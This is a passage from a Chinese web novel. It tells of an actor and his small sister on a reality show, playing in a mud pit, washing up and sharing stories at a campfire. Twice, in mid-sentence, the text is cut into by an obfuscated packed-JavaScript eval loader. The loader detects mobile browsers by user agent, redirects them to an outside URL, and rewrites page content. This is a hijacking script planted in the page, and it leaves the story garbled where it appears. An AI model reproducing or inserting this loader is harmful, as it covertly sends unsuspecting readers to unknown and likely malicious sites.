普通得让人想哭。 因为姜牧野知道,这种普通的日子,是他用很多不普通的东西换来的。 凌晨四点的片场、连续三十六个小时的拍摄、零下二十度的冬夜里穿着单薄的戏服站在户外、四十度的高温下裹着三层古装在沙漠里走了一遍又一遍…… 所有的苦,所有的累,所有的委屈,所有的坚持—— 都是为了这个普通的午后。 阳光照在小床上,照在那双露在外面的小脚丫上。 姜牧野伸出手,轻轻碰了碰她的脚底。 暖暖的。 姜牧云在睡梦中缩了一下脚,嘟囔了一声:“……哥哥不要挠。” 姜牧野把手收回来,嘴角弯了一下。 然后他低下头,继续看书。 窗外的蝉鸣声渐渐变得遥远,像一首催眠曲。 他也困了。 但他没有睡。他坐在椅子上,一只手搭在小床的栏杆上,手指距离姜牧云的手只有几厘米。 他没有握。 只是放在那里。 以防她做噩梦的时候,能第一时间碰到他。 这就是姜牧野的午睡时间。 不是睡觉,是守护。 --- 下午三点,姜牧云自然醒了。 这次她醒来的时候没有大喊大叫,而是安静地坐在床上,揉着眼睛,看着窗外的阳光发呆。 “哥哥。”她小声说。 “嗯。” “我做了一个梦。” “什么梦?” “梦见了一只大老虎。” 姜牧野放下书:“怕不怕?” “不怕。因为大老虎不吃人。” “老虎不吃人?” “对!它吃草!因为它是一只草食老虎!” “……老虎不吃草。” “这只吃!因为它是一只有个性的老虎!” “什么个性?” “它不喜欢吃肉!它觉得肉很恶心!它只喜欢吃草和水果!它最喜欢吃草莓!” “那它不是老虎,是兔子。” “不是兔子!是老虎!一只长得像老虎的兔子!” “那不就是老虎。” “不是老虎!是兔子!一只觉得自己是老虎的兔子!” 姜牧野想了想,觉得这个设定还挺有意思的。 “然后呢?”他问。 “然后它来找我玩!它说它在森林里好孤单,因为没有其他动物跟它玩。老虎觉得它太像兔子了,兔子觉得它太像老虎了。所以它没有朋友。” “那你跟它玩了吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“说过了也可以再说呀!好看的东西可以看很多遍!好听的话也可以说很多遍!” 她顿了顿,又说:“哥哥你笑起来真好看。” 又说了一遍。 然后又说了一遍。 “哥哥你笑起来真好看。” “哥哥你笑起来真好看。” “哥哥你——” “姜牧云,够了。” “不够!我要说一百遍!” “那你会口渴的。” “那我喝完水再说!” 她从床上跳下来,跑到茶几旁边,拿起自己的小水杯,“咕咚咕咚”喝了两大口,然后转过头—— “哥哥你笑起来真好看!” 姜牧野把脸埋进了书里。 但他的耳朵红了。 红得很厉害。 姜牧云看到了,但她没有说出来。 她只是偷偷地笑了。 然后默默地数着:第三遍了。还有九十七遍。 她打算今天说不完的话,明天继续说。 反正她有一辈子的时间。 12. 泥潭大作战 下午四点半,太阳终于不那么毒了。 节目组在村子后面的稻田里布置了一个全新的场地——泥潭。 没错,泥潭。 一块刚收割完的稻田被灌了水,用拖拉机翻了一遍,变成了一个巨大的、软烂的、冒着泡泡的泥浆池。泥浆的深度大概到成年人的膝盖,颜色是那种浓稠的巧克力色——但闻起来绝对不是巧克力的味道。 四组嘉宾站在泥潭边上,表情各异。 孙磊兴奋得摩拳擦掌:“这个好!这个好!我小时候就是在泥地里滚大的!” 孙小壮站在他旁边,表情复杂:“爸爸,这个泥好脏。” “泥不脏!泥是大地的礼物!” “可是它臭臭的。” “那是大地的味道!” “……大地的味道好难闻。” 苏瑶站在泥潭边上,脸色发白。她今天穿了一件白色运动套装,头发扎成了高马尾,妆容精致得可以去拍杂志封面。 “我……我不下去。”她往后退了一步,“我昨天刚做的头发。” “妈妈,你不下去我也不下去。”林恬恬拉着她的手说。 “恬恬乖,我们就在岸上给他们加油好不好?” “可是我想玩泥巴……”林恬恬看着泥潭,眼睛里有一丝向往。 苏瑶咬了咬牙,陷入了“美丽”与“母爱”的终极抉择。 陈江河已经脱了鞋,挽起裤腿,试探性地把脚伸进了泥潭里。 “爸爸,冷不冷?”陈小树问。 “不冷,温温的。”陈江河走了两步,泥浆没过他的小腿,发出“咕叽咕叽”的声音,“小树,你怕不怕?” “不怕。”陈小树也脱了鞋,小心翼翼地踩进泥里。他的脚太小了,一踩进去整个人就往下陷,泥浆没过了他的膝盖。 “爸爸!我在往下掉!” “没事,不会掉的,到底了。”陈江河走过去扶住他,“你试着走走看。” 陈小树迈了一步,脚从泥里拔出来的时候发出“啵”的一声,像开了一瓶汽水。 “爸爸!它吸住我的脚了!” “对,你要用力拔。” “好!”陈小树用力拔脚,结果用力过猛,整个人往后一仰—— “噗通——” 他一屁股坐在了泥潭里。 泥浆溅起来,糊了他一脸。 陈小树坐在泥里,愣了一秒。 然后他笑了。 “爸爸!泥巴是软的!坐在上面好舒服!” 陈江河看着儿子满脸泥巴、笑得露出两颗门牙的样子,也笑了。 他拿出随身带的相机,给陈小树拍了一张照片。 “这是你最好看的照片。”他说。 最后是姜牧野和姜牧云。 姜牧云站在泥潭边上,低头看着那池巧克力色的泥浆,葡萄眼睁得圆圆的。 “哥哥,这个是什么?” “泥巴。” “泥巴是什么?” “就是土和水的混合物。” “土和水的混合物是什么?” “就是……泥。” “我知道是泥!我是问泥是什么!” “泥就是……”姜牧野想了想,“就是湿的土。” “湿的土有什么用?” “可以种水稻。” “水稻是什么?” “就是我们吃的大米。” “大米是从泥里长出来的?”姜牧云的表情像是听到了什么惊天秘密。 “对。” “可是大米是白色的!泥是黑黑的!白色的米怎么从黑黑的泥里长出来?” “因为……它洗干净了就白了。” “那我如果掉进泥里,洗干净了也会变白吗?” “……你本来就是白的。” “可是我现在是粉色的!因为我的裙子是粉色的!掉进泥里之后会变成什么颜色?” “棕色。” “棕色好看吗?” “……不好看。” “那我不下去。”姜牧云往后退了一步,两只手背在身后,态度坚决。 “为什么?” “因为棕色不好看!姜牧云要穿粉色!不要穿棕色!” “泥巴不是衣服,是泥巴。下去之后可以洗掉。” “可是洗掉之前我就是棕色的!我不要当棕色的小孩子!我要当粉色的小孩子!” “那你站在岸上等我。” “哥哥你要下去?” “嗯。” “为什么!” “因为这是比赛。” “可是泥巴好脏!哥哥你会变脏的!” “脏了可以洗。” “可是脏了就不帅了!” 姜牧野沉默了一秒。 “你觉得我现在帅?” “超级帅!全世界最帅!”姜牧云毫不犹豫地说,“但是如果你变成棕色的,就不帅了!棕色不好看!” “那我上来之后洗干净,就帅回来了。” “真的吗?” “真的。” 姜牧云想了想,认真地说:“那你下去吧。姜牧云在岸上等你。你要快点上来哦。” “好。” “不要太脏哦。” “我尽量。” “不要摔倒哦。” “我尽量。” “不要被泥巴怪兽吃掉哦。” “……泥潭里没有怪兽。” “你怎么知道?也许泥巴里面住着泥巴怪兽!它们会吃掉掉进泥里的人!” “那我更要下去了。如果真的有泥巴怪兽,我要把它抓出来,不然它以后会吃掉其他小朋友。” 姜牧云的表情变了——从担心变成了崇拜。 “哥哥,你好勇敢!”她扑过来抱住他的腿,“你是姜牧云的英雄!” 姜牧野拍了拍她的头,然后脱了鞋,挽起裤腿,走进了泥潭。 他的第一步踩进去的时候,泥浆没过他的脚踝,凉凉的、软软的,确实像孙磊说的——大地的礼物。 虽然这个礼物的包装不太好看。 他走了两步,泥浆发出“咕叽咕叽”的声音。他的步伐很稳,每一步都踩得很实,像在红毯上走一样。 “哥哥好帅!”姜牧云在岸上喊,“就算变成棕色也好帅!” 姜牧野嘴角弯了一下。 --- 泥潭大作战的第一个项目:泥地摔跤。 规则很简单——在泥地里进行一对一的摔跤比赛,先把对方按倒在泥里就算赢。 第一场:孙磊 vs 姜牧野。 两个人在泥潭中央面对面站着。孙磊比姜牧野矮两厘米,但比他宽了整整一圈,像一堵移动的肉墙。姜牧野则像一把出鞘的剑,瘦削但锋利。 “姜老师,我可不会手下留情啊。”孙磊咧嘴笑,露出两排白牙。 “不用。”姜牧野面无表情地说。 “好!来吧!” 两个人同时冲向对方。 孙磊伸出双臂想抱住姜牧野的腰,用体重优势把他压倒。姜牧野侧身一闪,避开了他的熊抱,同时伸手抓住了他的手腕。 孙磊的反应很快,反手扣住姜牧野的手臂,猛地一拉。 姜牧野脚下一滑,膝盖跪进了泥里,泥浆溅到了他的脸上。 “哥哥!!!”姜牧云在岸上尖叫。 姜牧野抹掉脸上的泥,眼神变了。 不是愤怒,是认真。 他站起来,重心放低,双腿微微弯曲,像一只准备扑食的豹子。 孙磊再次冲过来,这次他用的是摔跤中的“单腿抱摔”——弯腰抱住姜牧野的一条腿,试图把他掀翻。 姜牧野早有准备。在孙磊抱住他腿的瞬间,他猛地往后一跳,另一条腿扫向孙磊的支撑腿。 孙磊失去平衡,整个人往前扑倒—— “噗——通——” 他结结实实地摔进了泥潭里,泥浆像海啸一样向四周溅开,站在岸边的苏瑶被溅了一身泥点子。 “啊!!!我的白衣服!!!”苏瑶尖叫。 孙磊从泥里爬起来,满脸满身都是泥,只有两只眼睛在眨巴,像一尊泥塑的罗汉。 “哈哈哈哈哈哈!”他大笑起来,抹了一把脸上的泥,“姜老师,你厉害!我认输!” 姜牧野伸手把他从泥里拉起来。两个人站在泥潭中央,浑身是泥,但都在笑——姜牧野笑得很少,但嘴角确实弯了。 “哥哥赢了!!!哥哥赢了!!!”姜牧云在岸上手舞足蹈,两个小揪揪飞起来,像两只快乐的小蝴蝶。 第二场:陈江河 vs 苏瑶。 苏瑶最终还是下来了——不是因为她想通了,而是因为林恬恬哭着说“妈妈你不下去我也不下去”,她就咬了咬牙,把头发塞进浴帽里,换了一件节目组提供的旧T恤,走进了泥潭。 她每一步都走得小心翼翼,像在雷区里排雷。 “苏瑶老师,你不用怕,泥巴不会咬人。”陈江河温和地说。 “我不是怕泥巴,我是怕脏。”苏瑶皱着眉,“我从小到大没碰过泥巴。” “那你今天可以体验一下。” “我不想体验——” 话还没说完,她的脚陷进了泥里,拔不出来。她用力一拔,脚是出来了,但拖鞋留在了泥里。 “我的鞋!!!”她低头看着被泥巴吞没的拖鞋,表情像是失去了一个孩子。 “没关系,比赛完了再捞。”陈江河说。 “可是那是限量款的——” “苏瑶老师,注意——” 陈江河的话还没说完,苏瑶的另一只脚也陷了进去,她整个人往前倒—— 陈江河本能地伸手去扶她,但泥地里根本站不稳,两个人一起摔进了泥里。 泥浆四溅。 苏瑶从泥里爬起来,满脸满身都是泥,浴帽歪在一边,几缕头发从里面掉出来,贴在脸上。 她沉默了三秒。 然后她笑了。 “哈哈哈哈哈哈!”她笑得前仰后合,泥巴从脸上掉下来,“反正都脏了!那就脏到底吧!” 她抓起一把泥巴,朝陈江河扔过去。 “啪——”陈江河的脸上多了一个泥巴手印。 陈江河愣了一下,然后也笑了。他弯腰抓起一把泥巴,朝苏瑶扔回去。 苏瑶尖叫着躲开,泥巴砸在了她身后的泥潭里,溅起一朵泥花。 “陈江河!你等着!” 两个人开始在泥潭里打泥巴仗,完全忘了这是摔跤比赛。 林恬恬看到妈妈在玩泥巴,也忍不住了,脱了鞋跳进泥潭:“妈妈!我也要玩!” 孙小壮和陈小树也加入了混战。 泥潭里顿时乱成一团,泥巴满天飞,尖叫声、笑声、欢呼声混在一起,像一场盛大的泥巴狂欢节。 只有姜牧云还站在岸上。 她低头看了看自己干净的粉色裙子,又看了看泥潭里玩得开心的其他小朋友,犹豫了。 “哥哥,”她喊,“他们在玩泥巴。” “嗯。” “好好玩的样子。” “嗯。” “姜牧云也想玩。” “你不是说棕色不好看吗?” “可是……”她咬了咬嘴唇,“可是大家都变成棕色了!大家都变成棕色,那棕色就变好看了!” “……这是什么逻辑?” “大家一起变丑就不丑了!阿姨说的!” “阿姨什么时候说过这种话?” “上次阿姨穿了一件很丑的衣服,她说明明很丑但是大家穿了就不丑了!因为丑到一起去了!” 姜牧野想了想,觉得阿姨的这个理论虽然不太正确,但用在泥巴上好像也没错。 “那你要下来吗?”他问。 姜牧云犹豫了三秒钟。 然后她深吸一口气,像做了一个人生中最重要的决定—— “哥哥,接住我!” 她闭上眼睛,张开双臂,从岸上跳了下来。 姜牧野在泥潭里接住了她。 泥浆溅起来,糊了她一脸。 她睁开眼睛,低头看了看自己——粉色裙子变成了棕色,白色小腿变成了棕色,手指头上全是黏糊糊的泥巴。 她的嘴巴瘪了一下。 然后瘪了两下。 姜牧野做好了迎接眼泪的准备。 但姜牧云没有哭。 她伸出舌头,舔了一下嘴角的泥巴。 “呸呸呸!好难吃!”她皱起眉头,做了个鬼脸,“不是巧克力!” “我告诉过你了,这不是巧克力。” “可是它看起来像巧克力!” “看起来像不代表吃起来像。” “可是冰淇淋看起来像奶,吃起来就是奶呀!” “因为冰淇淋本来就是奶做的。泥巴不是巧克力做的。” “那泥巴是什么做的?” “土和水。” “土和水能做成巧克力吗?” “不能。” “为什么不能?” “因为……配方不一样。” “那我们加一点糖进去,会不会变成巧克力?” “不会。” “加牛奶呢?” “也不会。” “加草莓呢?” “更不会。” “那加什么才会变成巧克力?” “什么都不加。泥巴永远不会变成巧克力。” 姜牧云失望地叹了口气:“那泥巴好没用。” “泥巴很有用。泥巴可以种出水稻,水稻可以做成米饭。没有泥巴,你就没有米饭吃。” 姜牧云想了想,低头看着自己脚底的泥巴,表情逐渐变得尊敬起来。 “泥巴,对不起,”她认真地说,“我不应该说你没用。你是很厉害的泥巴。你以后要好好种水稻哦。种好多好多水稻,给哥哥吃,给姜牧云吃,给全世界的人吃。” 她说完,还弯下腰,轻轻地拍了拍泥巴的表面,像在安慰一个受了委屈的小朋友。 泥巴当然没有任何反应。 但姜牧云觉得它听懂了。 --- 泥潭大作战的第二个项目:泥地寻宝。 规则是在泥潭里埋了二十个塑料彩蛋,每个彩蛋里面有一张小纸条,写着不同的奖品。谁找到的彩蛋最多,谁就能获得对应的奖品。 “开始!” 随着裁判一声令下,所有人开始在泥潭里摸索。 孙磊像一台挖掘机一样,双手在泥里疯狂地掏,泥浆飞溅得到处都是。 “爸爸,我找到了一个!”孙小壮举起一个沾满泥巴的蓝色塑料蛋。 “好样的!继续!” 苏瑶已经彻底放弃了“保持干净”的念头,整个人跪在泥里,双手在泥浆里划来划去。她的浴帽早就不知道飞到哪里去了,头发上全是泥巴,但她完全不在意。 “恬恬!妈妈找到了一个!” “妈妈好厉害!”林恬恬接过来,用裙子擦掉上面的泥巴,打开一看,“妈妈!是‘冰淇淋任吃券’!” “什么?!”苏瑶眼睛亮了,“真的吗!” “真的!上面写着‘凭此券可任吃冰淇淋一份,不限口味不限量’!” “恬恬!那是你的了!妈妈帮你保管——不对,妈妈帮你吃——也不对,妈妈帮你看着!” “妈妈你想吃就直说嘛。”林恬恬叹了口气,语气像一个面对贪吃小孩的老母亲。 陈小树在泥里摸索的时候,摸到了一个硬硬的东西。他拿起来一看——不是彩蛋,是一个癞蛤蟆。 “爸爸,有一只青蛙。”他面不改色地说。 陈江河凑过来看了一眼:“这是癞蛤蟆,不是青蛙。” “癞蛤蟆和青蛙有什么区别?” “癞蛤蟆身上有疙瘩,青蛙身上是光滑的。” “那癞蛤蟆会咬人吗?” “不会。” “那它会做什么?” “它会吃害虫。” “那它是好动物?” “对,它是好动物。” 陈小树点了点头,把癞蛤蟆轻轻地放在泥潭边上:“那你走吧,谢谢你没有咬我。” 癞蛤蟆蹲在泥潭边上,鼓着眼睛看了他一眼,然后慢吞吞地跳走了。 最精彩的是姜牧云。 她因为太小了,整个人站在泥潭里,泥浆没过了她的腰。她走路的时候不是在“走”,是在“漂”——两只小短腿在泥里扑腾,整个人像一艘搁浅的小船。 “哥哥,我找不到彩蛋!”她着急地说。 “你用手在泥里摸。” “我的手太小了!摸不到!” “那你用脚踩。” 姜牧云开始在泥里踩来踩去,像在跳一种奇怪的舞蹈——两只脚轮流抬起、踩下,泥浆“咕叽咕叽”地响。 踩了大概十几下,她的脚趾头碰到了什么东西。 “哥哥!我踩到了!”她兴奋地喊,“但是它在下面!我拿不到!” “你弯下腰用手拿。” “可是我弯腰会摔倒的!” “不会的,我扶着你。” 姜牧野扶住她的肩膀,她弯下腰,小手伸进泥里,摸到了一个圆圆的、硬硬的东西。 “拿到了!”她直起腰,举起一个沾满泥巴的粉色彩蛋,笑得眼睛弯成月牙,“哥哥你看!粉色的!是姜牧云的颜色!” “嗯,你打开看看里面是什么。” 姜牧云用沾满泥巴的小手笨拙地打开彩蛋,从里面掏出一张皱巴巴的小纸条。 “哥哥,上面写着什么?姜牧云不认识字。” 姜牧野接过来看了一眼,嘴角弯了一下。 “上面写着:‘可以和哥哥一起做一次蛋糕’。” 姜牧云愣了一下,然后整个人像被点燃了一样,在泥潭里蹦了起来——当然没蹦多高,因为泥浆吸住了她的脚。 “和哥哥一起做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437539|200985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛋糕!!!是蛋糕!!!姜牧云要跟哥哥一起做蛋糕!!!” 她太兴奋了,蹦跶得太用力,脚下一滑—— “噗通——” 她一屁股坐在了泥潭里。 泥浆没过了她的胸口,只露出一颗脑袋和两个歪歪扭扭的小揪揪。她眨了眨眼睛,睫毛上的泥巴掉了下来。 姜牧野伸手把她从泥里捞出来。小姑娘浑身是泥,像一个泥塑的小娃娃,只有两只葡萄眼还是亮晶晶的。 “哥哥,姜牧云现在是一个泥人了。”她认真地说。 “嗯。” “泥人好看吗?” “不好看。” “那你还看我?” “因为你是我妹妹,不管你变成什么样子我都看你。” 姜牧云愣了一下,然后脸红了——虽然脸上全是泥巴,看不太出来,但耳朵尖确实红了。 “哥哥你又——又说这种话!”她捂住了脸,泥巴从脸上掉下来,“姜牧云现在好脏!你不要看我!” “你刚才不是说不怕脏吗?” “不怕脏但是怕被你看!脏脏的姜牧云不好看!你不要看!” 她把脸埋进了姜牧野的胸口,不肯抬头。 姜牧野低头看着她——一颗沾满泥巴的小脑袋,两个歪歪扭扭的小揪揪,耳朵尖红红的,像两只煮熟的虾仁。 他忍不住笑了一下。 这次笑得比平时大一点。 大概有一毫米。 --- 泥潭大作战结束后,节目组在湖边设了一个临时冲洗区。 四组家庭排着队冲洗身上的泥巴。孙磊冲完之后,露出了比之前更白的皮肤——因为他身上的泥巴起到了去角质的作用。 “我觉得我年轻了五岁!”他拍着自己的肚子说。 “爸爸,你本来就很年轻。”孙小壮说。 “谢谢你儿子!”孙磊感动得差点哭了。 苏瑶冲完之后,第一件事是掏出手机看自己的脸。 “我的天,我的皮肤怎么变好了?”她惊讶地摸了摸脸颊,“泥巴有美容功效吗?” “泥巴里面含有矿物质,对皮肤有好处。”陈江河在旁边解释道。 “你怎么知道?” “我是摄影师,经常在野外跑,有时候会用泥巴涂脸防晒。” “……你认真的?” “认真的。效果还不错。” 苏瑶看了看陈江河的皮肤——确实挺好的,四十岁的人了,脸上没什么皱纹,皮肤紧致有光泽。 “那你下次去野外的时候叫我一声。”苏瑶说。 陈江河愣了一下:“啊?” “我也想去涂泥巴。” “……好。” 苏瑶说完之后意识到自己说了什么,脸“唰”地红了,转身跑去给林恬恬冲水了。 陈江河站在原地,挠了挠头,不太确定发生了什么。 陈小树在旁边看着他,叹了口气:“爸爸,你好笨。” “什么?” “没什么。我去找云云玩了。”陈小树抱着相机跑了。 姜牧云是最后一个冲洗的。 因为她身上的泥巴最多——不是因为她玩得最疯,而是因为她太矮了,泥浆没过了她的胸口,全身除了脑袋没有一处是干净的。 姜牧野蹲在冲洗区,一手拿着花洒,一手给姜牧云冲泥巴。 “哥哥,水好凉!”她缩了缩脖子。 “忍一下,冲干净就好了。” “你冲快一点!我好冷!” “我冲快了你会疼。” “为什么冲快了会疼?” “因为水压大。” “那你冲慢一点。” “冲慢了你又冷。” “那不快不慢!” “……我尽量。” 姜牧野调到一个适中的水压,从她的肩膀开始冲,顺着胳膊一路冲到手指尖。泥巴被水冲走,露出下面白嫩嫩的皮肤。 “哥哥,你看!我的手变白了!”她举起手,在阳光下翻来覆去地看,“泥巴洗掉了就变白了!跟大米一样!” “嗯。” “那大米是不是也是这样洗的?” “差不多。” “那姜牧云也是大米吗?” “你不是大米,你是姜牧云。” “姜牧云是什么做的?” “肉和骨头做的。” “那肉和骨头是什么做的?” “细胞。” “细胞是什么?” “很小的东西,用眼睛看不到。” “那姜牧云是用看不到的东西做的?” “对。” “那姜牧云好厉害!用看不到的东西都能做出一个姜牧云!” 姜牧野想了想,觉得这个说法虽然不科学,但挺有诗意的。 “嗯,你很厉害。”他说。 冲完泥巴,姜牧云换上了一件干净的小裙子——这次是白色的,上面印着绿色的小叶子。姜牧野给她重新扎了两个小揪揪,这次扎得特别齐,左右对称,高度一致。 “哥哥,你今天扎得好好看!”姜牧云照了照镜子,满意地点头。 “嗯。” “你是不是偷偷练习了?” “没有。” “那你为什么今天扎得这么好?” “因为你的头发是湿的,比较好扎。” “原来如此!那以后每次洗完头你都给我扎!” “好。” “扎一辈子!” “好。” “拉钩!” 姜牧野伸出手,跟她拉钩盖章。 姜牧云盖完章之后,忽然安静了下来。她低下头,看着自己干净的小手,小声说:“哥哥。” “嗯?” “谢谢你。” “谢什么?” “谢谢你帮我冲泥巴。” “不用谢。” “谢谢你帮我扎头发。” “不用谢。” “谢谢你陪我来这里。” “不用谢。” “谢谢你做我的哥哥。” 姜牧野沉默了一秒。 “不用谢。”他说,声音比平时轻了一点。 姜牧云抬起头,看着他。 “哥哥,你说‘不用谢’的时候,跟说‘嗯’的时候不一样。” “哪里不一样?” “‘嗯’的时候你的嘴角是平的。说‘不用谢’的时候你的嘴角是弯的。” “……你观察得真仔细。” “因为你是姜牧云的哥哥呀。姜牧云会观察哥哥所有的事情。你什么时候笑了,什么时候没笑,什么时候开心,什么时候不开心,姜牧云都知道。” 她伸出手,戳了戳他的脸颊。 “哥哥,你现在开心吗?” 姜牧野看着她。 夕阳的余晖照在她的小脸上,把她的葡萄眼染成了琥珀色。她的头发还没完全干,湿漉漉地贴在额头上,两个小揪揪微微翘着,像两只刚刚破茧的蝴蝶。 “开心。”他说。 “那你为什么不笑?” “我在笑。” “骗人!你的嘴角明明没有弯!” “弯了零点三毫米。” “零点三毫米是多少?” “就是你看不到的程度。” “那不算笑!要姜牧云看得到的才算笑!” “为什么?” “因为姜牧云看不到的话,怎么知道哥哥开心?” 姜牧野看着她认真的表情,终于没忍住,笑了。 这次不是零点三毫米。 是三厘米。 他的嘴角向上弯起,露出一点点牙齿,眼角也微微皱了起来,眼睛里有夕阳的光在闪烁。 姜牧云看呆了。 她从来没有见过哥哥笑得这么好看。 “哥哥,”她小声说,“你以后要多笑。” “为什么?” “因为你的笑,是姜牧云最喜欢的礼物。” 她踮起脚尖,在他弯起来的嘴角上亲了一下。 很轻。 很快。 像一只蝴蝶在花瓣上停留了一瞬间。 姜牧野愣住了。 姜牧云亲完之后,脸红得像一颗熟透的草莓,转身就跑。 “姜牧云去吃饭了!!!” 她跑了两步,被自己的脚绊了一下,差点摔倒,但稳住了。她没有回头,继续往前跑,两个小揪揪在夕阳下一晃一晃的,像两只逃跑的小兔子。 姜牧野站在原地,摸了摸自己的嘴角。 那里还残留着一点她嘴唇的温度。 暖暖的。 很小。 但很重。 他站在那里,看着那个小小的身影消失在夕阳里,站了很久。 然后他低下头,笑了。 这次没有人看到。 但没关系。 他自己知道就够了。 13. 篝火晚会 晚上的节目是篝火晚会。 节目组在草坪中央点了一堆篝火,火光照亮了半边天。四组家庭围坐在篝火旁边,每人手里拿着一根烤棉花糖的竹签。 “这个环节叫‘烤棉花糖讲故事’。”主持人小林笑着说,“每个人烤一颗棉花糖,然后讲一个今天发生的最难忘的故事。” 孙磊第一个烤。 他把棉花糖串在竹签上,伸到火上去烤。棉花糖的表面很快变成了金黄色,开始膨胀,像一个小气球。 “我最难忘的事——”他想了想,“是今天泥潭摔跤的时候,被姜老师按倒在泥里。” 全场笑了。 “不是因为这个好笑,是因为——我当时摔在泥里,仰头看着天空,忽然觉得,好久没有这么开心过了。” 他的声音变得柔软了一些。 “我当运动员的时候,每天就是训练、比赛、训练、比赛。赢了要准备下一场,输了要反省为什么输。退役之后做解说,每天就是工作、回家、带娃。日子过得很规律,但也很快——快到我有时候会忘记,开心是什么感觉。” “今天摔在泥里的那一刻,我忽然想起来了。开心就是——像小时候一样,在泥地里打个滚,什么都不想,什么都不怕。” 他看向孙小壮:“小壮,爸爸希望你以后,不管多大,都不要忘记在泥地里打滚的感觉。” 孙小壮点了点头,虽然他不确定自己听懂了没有,但他知道爸爸在说很重要的话。 苏瑶第二个。 她把棉花糖烤得恰到好处,金黄色的表面微微焦脆,轻轻一拉就能拉出长长的丝。 “我最难忘的事——是今天恬恬跟我说的一句话。” 她低头看了看坐在旁边的林恬恬。 “我本来不想下泥潭的。我觉得脏,觉得会弄坏头发,觉得不好看。但是恬恬说了一句话,她说——‘妈妈,你不下去也没关系,我在下面给你拍照片。’” 苏瑶的声音有点哽咽。 “她四岁。她不会用相机。但她说要给我拍照片。” “那一刻我忽然意识到——我在乎的那些东西,头发、衣服、好不好看,在恬恬眼里什么都不算。她在乎的只是——妈妈在不在。” “所以我下去了。我变成了一个泥人,头发全毁了,衣服也不能要了。但是恬恬给我拍了一张照片。” 她拿出手机,翻出一张照片给大家看。 照片里,苏瑶满脸泥巴,头发乱糟糟的,笑得露出两排牙齿,丑得惊天动地。 但她的眼睛里,有一种光。 那种光是洗干净之后拍不出来的。 “这是我最喜欢的照片。”苏瑶说,“比任何杂志封面都喜欢。” 陈江河第三个。 他把棉花糖烤得有点焦了,黑乎乎的一团,但他不在乎,一口塞进了嘴里。 “我最难忘的事——是小树今天在泥潭里找到了一只癞蛤蟆。” 全场安静了一下,然后笑了起来。 “不是癞蛤蟆好笑,”陈江河也笑了,“是他对待那只癞蛤蟆的方式。” “他把它拿起来看了看,确定它不会咬人之后,轻轻地把它放在了岸边。他对它说了一句话——‘谢谢你没有咬我。’” “一个五岁的小孩,对一只癞蛤蟆说谢谢。” 陈江河的声音变得很轻。 “我离婚之后,有一段时间很消沉。我觉得世界对我不公平,觉得所有人都在跟我作对。但是小树不一样。他从来不觉得世界对他不公平。他没有妈妈,但他没有抱怨过。他只是在每个普通的日常里,找到一点点值得感谢的东西。” “一只癞蛤蟆,一朵花,一片云,一碗蛋炒饭。” “他教会了我——世界没有对不起任何人。是我们自己选择了怎么看待它。” 他转头看向陈小树:“小树,谢谢你。谢谢你做我的儿子。” 陈小树歪着头想了想,然后认真地说:“爸爸,你不用谢我。是你把我生出来的。我应该谢谢你。” 全场安静了一秒。 然后孙磊带头鼓掌,掌声噼里啪啦地响起来,惊起了远处树上的一群鸟。 最后轮到姜牧野。 他把棉花糖串在竹签上,伸到火上去烤。姜牧云站在他旁边,踮着脚尖看。 “哥哥,棉花糖变大了!” “嗯。” “它好像在呼吸!一鼓一鼓的!” “那是热胀冷缩。” “热胀冷缩是什么?” “就是热了会变大,冷了会变小。” “那姜牧云热了也会变大吗?” “不会。” “为什么不会?” “因为你是人,不是棉花糖。” “可是我也会热胀冷缩呀!我热的时候会出汗,出汗的时候皮肤会变大一点点!你看!”她伸出胳膊,用力握拳,试图展示“变大的皮肤”。 姜牧野看了一眼她那根比筷子还细的胳膊,沉默了一秒。 “那不是热胀冷缩,那是肌肉收缩。” “那肌肉收缩是什么?” “就是……你用力的时候,肌肉会变硬。” “那姜牧云的肌肉在哪里?” “你还没有肌肉。” “为什么没有!” “因为你太小了。” “那哥哥你什么时候开始有肌肉的?” “十几岁的时候。” “那姜牧云十几岁的时候也会有肌肉吗?” “如果你锻炼的话。” “那我要锻炼!我要跟哥哥一样有硬硬的肚子!” “你又说这个了。” “因为很重要!”她认真地说,“有硬硬的肚子就可以保护哥哥了!” 姜牧野的手顿了一下。 “你要保护我?” “对呀!”姜牧云理所当然地说,“哥哥你保护姜牧云,姜牧云也要保护哥哥!我们是互相的!” “互相的?” “对!就像……就像……”她想了想,找到了一个比喻,“就像拉钩!你伸出小拇指,我也伸出小拇指,我们勾在一起,就是互相的!” 姜牧野看着她。 火光映在她的小脸上,把她的眼睛照得像两颗燃烧的星星。她的表情认真极了,好像“保护哥哥”是她这辈子最重要的使命。 “好,”他说,“那你好好吃饭,好好长大,以后保护我。” “嗯!”姜牧云用力点头,“姜牧云会吃很多很多饭!长很高很高!比哥哥还高!” “你不可能比我高。” “为什么不可能!” “因为基因。” “基因是什么?” “就是……写在身体里的说明书,决定了你会长多高。” “那我的说明书上写了多高?” “不知道。等你长大了才知道。” “那我要长到一米八七!跟哥哥一样高!” “你长不到一米八七的。” “为什么!” “因为你是女孩子。” “女孩子不能长高吗?” “能,但很少有一米八七的。” “那姜牧云就当第一个!”她挺起胸膛,“姜牧云要当全世界最高的女孩子!” “那你吃饭。” “我现在就吃!”她拿起一串没烤过的棉花糖,直接塞进了嘴里。 “姜牧云,那个还没烤——” “噗——” 她嚼了一口生棉花糖,表情瞬间凝固了。 “不好吃!”她把嘴里的棉花糖吐出来,皱着小脸,“生的棉花糖好难吃!像吃泡沫!” “我告诉过你要烤了。” “可是我等不及了!我要长高!长高需要吃东西!吃东西不能等!” “那你可以吃别的。” “可是我只想吃棉花糖!” “那你烤。” “可是烤要等!” “那你到底要等还是不等?” 